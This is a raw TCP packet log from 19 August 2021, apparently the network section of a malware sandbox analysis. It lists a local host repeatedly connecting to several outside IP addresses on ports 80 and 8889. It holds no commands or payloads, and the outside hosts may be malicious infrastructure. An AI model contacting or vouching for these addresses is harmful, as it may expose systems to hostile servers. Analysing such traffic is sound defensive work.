Aug 19, 2021 07:53:09.576531887 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.576566935 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576603889 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576615095 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.576642036 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576679945 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576704979 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.576725006 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576772928 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576780081 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:09.576803923 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:09.576852083 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:10.152240038 CEST	49719	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:10.416158915 CEST	80	49719	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:10.416348934 CEST	49719	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:10.416448116 CEST	49719	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:10.416486025 CEST	49719	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:10.680023909 CEST	80	49719	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:11.617806911 CEST	80	49719	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:11.617872953 CEST	80	49719	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:11.618128061 CEST	49719	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:11.618541956 CEST	49719	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:11.656323910 CEST	49720	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:11.712747097 CEST	80	49720	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:11.712893009 CEST	49720	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:11.716901064 CEST	49720	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:11.716953039 CEST	49720	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:11.773210049 CEST	80	49720	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:11.881257057 CEST	80	49720	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:11.881282091 CEST	80	49719	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:11.881299973 CEST	80	49720	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:11.881356001 CEST	49720	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:11.881448030 CEST	49720	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:11.881580114 CEST	49720	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:11.921665907 CEST	49721	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:11.937762022 CEST	80	49720	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:12.169539928 CEST	80	49721	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:12.169688940 CEST	49721	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:12.169864893 CEST	49721	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:12.169928074 CEST	49721	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:12.418603897 CEST	80	49721	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:13.355323076 CEST	80	49721	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:13.355372906 CEST	80	49721	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:13.355442047 CEST	49721	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:13.355541945 CEST	49721	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:13.403161049 CEST	49722	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:13.459872961 CEST	80	49722	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:13.459980965 CEST	49722	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:13.460705042 CEST	49722	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:13.460805893 CEST	49722	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:13.517249107 CEST	80	49722	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:13.603359938 CEST	80	49721	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:13.632035971 CEST	80	49722	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:13.632101059 CEST	80	49722	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:13.632245064 CEST	49722	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:13.632282972 CEST	49722	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:13.641486883 CEST	49723	80	192.168.2.7	88.80.145.9
Aug 19, 2021 07:53:13.688313007 CEST	80	49722	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:14.481079102 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:14.481235027 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:14.481259108 CEST	49718	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:14.514703989 CEST	80	49718	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:16.720494986 CEST	49723	80	192.168.2.7	88.80.145.9
Aug 19, 2021 07:53:22.892889977 CEST	49723	80	192.168.2.7	88.80.145.9
Aug 19, 2021 07:53:30.055744886 CEST	49729	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:30.112515926 CEST	8889	49729	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:30.112726927 CEST	49729	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:30.316083908 CEST	49729	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:30.373447895 CEST	8889	49729	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:30.374174118 CEST	49729	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:30.432180882 CEST	8889	49729	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:30.471668959 CEST	49729	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:34.941978931 CEST	49730	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:34.997981071 CEST	80	49730	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:34.998429060 CEST	49730	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:34.998553038 CEST	49730	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:34.998564959 CEST	49730	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.055951118 CEST	80	49730	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.055984974 CEST	80	49730	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.136522055 CEST	80	49730	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.136591911 CEST	80	49730	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.136776924 CEST	49730	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.136946917 CEST	49730	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.178936958 CEST	49731	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.193480015 CEST	80	49730	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.238552094 CEST	80	49731	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.238892078 CEST	49731	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.239444017 CEST	49731	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.239470959 CEST	49731	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.295557022 CEST	80	49731	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.471800089 CEST	80	49731	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.471820116 CEST	80	49731	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.472075939 CEST	49731	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.472105026 CEST	49731	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.528006077 CEST	80	49731	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.530657053 CEST	49732	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.586448908 CEST	80	49732	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.586663008 CEST	49732	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.586848974 CEST	49732	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.586879969 CEST	49732	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.644490004 CEST	80	49732	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.769522905 CEST	80	49732	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.769550085 CEST	80	49732	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.769670963 CEST	49732	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.769731045 CEST	49732	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.806499958 CEST	49733	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.825485945 CEST	80	49732	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.862922907 CEST	80	49733	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:35.863044977 CEST	49733	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.863272905 CEST	49733	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.863364935 CEST	49733	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:35.919048071 CEST	80	49733	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:36.045010090 CEST	80	49733	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:36.045032978 CEST	80	49733	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:36.045277119 CEST	49733	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:36.045356035 CEST	49733	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:36.101021051 CEST	80	49733	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:36.111103058 CEST	49734	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:36.348023891 CEST	80	49734	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:36.348189116 CEST	49734	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:36.348409891 CEST	49734	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:36.348488092 CEST	49734	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:36.582339048 CEST	80	49734	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:37.530919075 CEST	80	49734	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:37.531316042 CEST	80	49734	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:37.531429052 CEST	49734	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:37.531528950 CEST	49734	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:37.575131893 CEST	49735	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:37.633470058 CEST	80	49735	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:37.633553982 CEST	49735	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:37.633702993 CEST	49735	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:37.633717060 CEST	49735	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:37.647351027 CEST	49729	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:37.691001892 CEST	80	49735	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:37.704262018 CEST	8889	49729	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:37.707106113 CEST	49729	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:37.767452002 CEST	80	49734	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:37.809170961 CEST	8889	49729	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:37.815438032 CEST	80	49735	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:37.815463066 CEST	80	49735	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:37.815578938 CEST	49735	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:37.815597057 CEST	49735	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:37.815686941 CEST	49735	80	192.168.2.7	94.190.187.102
Aug 19, 2021 07:53:37.827408075 CEST	8889	49729	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:37.827452898 CEST	8889	49729	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:37.827486992 CEST	8889	49729	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:37.827512026 CEST	49729	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:37.827514887 CEST	8889	49729	185.215.113.29	192.168.2.7
Aug 19, 2021 07:53:37.827565908 CEST	49729	8889	192.168.2.7	185.215.113.29
Aug 19, 2021 07:53:37.858108997 CEST	49736	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:37.872039080 CEST	80	49735	94.190.187.102	192.168.2.7
Aug 19, 2021 07:53:38.121578932 CEST	80	49736	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:38.121721029 CEST	49736	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:38.122009039 CEST	49736	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:38.122028112 CEST	49736	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:38.385657072 CEST	80	49736	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:39.350864887 CEST	80	49736	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:39.351028919 CEST	49736	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:39.351222038 CEST	80	49736	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:39.351288080 CEST	49736	80	192.168.2.7	210.207.244.101
Aug 19, 2021 07:53:39.360517025 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.393322945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.393465042 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.393585920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.426887989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.427407026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.427428007 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.427445889 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.427462101 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.427478075 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.427494049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.427510023 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.427509069 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.427526951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.427544117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.427563906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.427575111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.427613974 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.461085081 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461107969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461119890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461133003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461150885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461167097 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461175919 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.461183071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461199999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461230993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461244106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.461278915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.461353064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461400032 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.461451054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461479902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461498022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461513996 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461529016 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461534023 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.461546898 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461559057 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.461566925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461585045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461599112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.461601019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461617947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.461630106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.461668968 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495059013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495089054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495101929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495134115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495148897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495176077 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495193005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495203972 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495209932 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495225906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495244980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495265007 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495265007 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495282888 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495296001 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495300055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495317936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495325089 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495335102 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495351076 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495367050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495383024 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495384932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495403051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495419979 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495430946 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495435953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495454073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495460987 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495470047 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495486975 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495502949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495517969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495527983 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495541096 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495558977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495572090 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495575905 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495593071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495601892 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495609045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495625019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495629072 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495645046 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495661974 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495677948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495692015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495693922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495711088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495727062 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495733976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495743036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495760918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.495795965 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.495830059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.528704882 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528733969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528745890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528764009 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528780937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528796911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528811932 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528816938 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.528829098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528846979 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528865099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528879881 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.528886080 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528904915 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.528915882 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.528951883 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529067993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529207945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529257059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529452085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529473066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529490948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529506922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529524088 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529525042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529542923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529555082 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529558897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529577017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529592991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529593945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529613972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529623032 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529632092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529649019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529665947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529678106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529683113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529700041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529716015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529719114 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529742002 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529752016 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529759884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529776096 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529778957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529797077 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529814005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529814005 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529830933 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529846907 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529856920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529861927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529881001 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529896021 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529897928 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529912949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529922962 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529928923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529948950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529958963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529968977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.529983044 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.529984951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.530003071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.530019045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.530030012 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.530071974 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.561249971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.561276913 CEST	80	49738	193.142.59.119	192.168.2.7
